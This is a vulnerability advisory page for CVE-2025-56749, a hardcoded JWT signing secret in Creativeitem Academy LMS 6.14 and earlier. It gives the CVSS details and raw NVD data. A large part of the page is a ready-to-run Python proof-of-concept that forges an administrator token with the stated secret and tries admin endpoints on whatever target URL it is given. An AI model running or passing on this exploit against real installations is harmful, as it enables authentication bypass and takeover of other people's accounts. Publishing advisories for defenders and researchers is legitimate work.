Security Vulnerability Report
中文
CVE-2025-56749 CVSS 9.4 CRITICAL

CVE-2025-56749

Published: 2025-10-15 15:16:05
Last Modified: 2025-10-21 19:24:32

Description

Creativeitem Academy LMS up to and including 6.14 uses a hardcoded default JWT secret for token signing. This predictable secret allows attackers to forge valid JWT tokens, leading to authentication bypass and unauthorized access to any user account.

CVSS Details

CVSS Score
9.4
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L

Configurations (Affected Products)

cpe:2.3:a:creativeitem:academy_lms:*:*:*:*:*:*:*:* - VULNERABLE
Creativeitem Academy LMS <= 6.14

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 # CVE-2025-56749 - Academy LMS Hardcoded JWT Secret Exploit # This PoC demonstrates how to forge a valid JWT token using the hardcoded secret import jwt # PyJWT library: pip install pyjwt import requests import json import sys # The hardcoded JWT secret used by Academy LMS <= 6.14 HARDCODED_SECRET = "academy_lms_secret_key" # Default/known hardcoded secret TARGET_URL = "http://target-academy-lms.com" # Step 1: Forge a JWT token for an admin user def forge_admin_token(): """ Forge a JWT token impersonating an administrator account. The payload structure may vary based on the application implementation. """ payload = { "id": 1, # Admin user ID "email": "[email protected]", "role": "admin", "user_type": "admin", "iat": 1697356800, # Issued at timestamp "exp": 9999999999 # Far future expiration } # Sign the token using the hardcoded secret forged_token = jwt.encode(payload, HARDCODED_SECRET, algorithm="HS256") print(f"[+] Forged admin JWT token:\n{forged_token}\n") return forged_token # Step 2: Use the forged token to access protected endpoints def exploit_with_token(token, target_url): """ Use the forged JWT token to access admin-only endpoints. """ headers = { "Authorization": f"Bearer {token}", "Content-Type": "application/json" } # Attempt to access admin dashboard admin_endpoints = [ "/admin/dashboard", "/admin/users", "/admin/settings", "/api/admin/profile", "/dashboard" ] for endpoint in admin_endpoints: url = f"{target_url}{endpoint}" try: response = requests.get(url, headers=headers, timeout=10) if response.status_code == 200: print(f"[+] SUCCESS - Accessed: {url}") print(f" Status: {response.status_code}") print(f" Response preview: {response.text[:200]}\n") return True else: print(f"[-] Failed ({response.status_code}): {url}") except requests.exceptions.RequestException as e: print(f"[-] Error connecting to {url}: {e}") return False if __name__ == "__main__": target = sys.argv[1] if len(sys.argv) > 1 else TARGET_URL print(f"[*] CVE-2025-56749 - Academy LMS JWT Secret Exploit") print(f"[*] Target: {target}\n") # Forge the admin token token = forge_admin_token() # Attempt exploitation success = exploit_with_token(token, target) if success: print("[+] Exploitation successful! Authentication bypassed.") else: print("[-] Exploitation failed. Target may be patched or unreachable.")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-56749", "sourceIdentifier": "[email protected]", "published": "2025-10-15T15:16:04.760", "lastModified": "2025-10-21T19:24:31.560", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Creativeitem Academy LMS up to and including 6.14 uses a hardcoded default JWT secret for token signing. This predictable secret allows attackers to forge valid JWT tokens, leading to authentication bypass and unauthorized access to any user account."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L", "baseScore": 9.4, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 5.5}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-798"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:creativeitem:academy_lms:*:*:*:*:*:*:*:*", "versionEndIncluding": "6.14", "matchCriteriaId": "4C823EC6-6BB1-4BEA-B02B-88603C089803"}]}]}], "references": [{"url": "https://suryadina.com/academy-lms-jwt-secret-7k9m2x4p8q/", "source": "[email protected]", "tags": ["Exploit", "Mitigation", "Third Party Advisory"]}]}}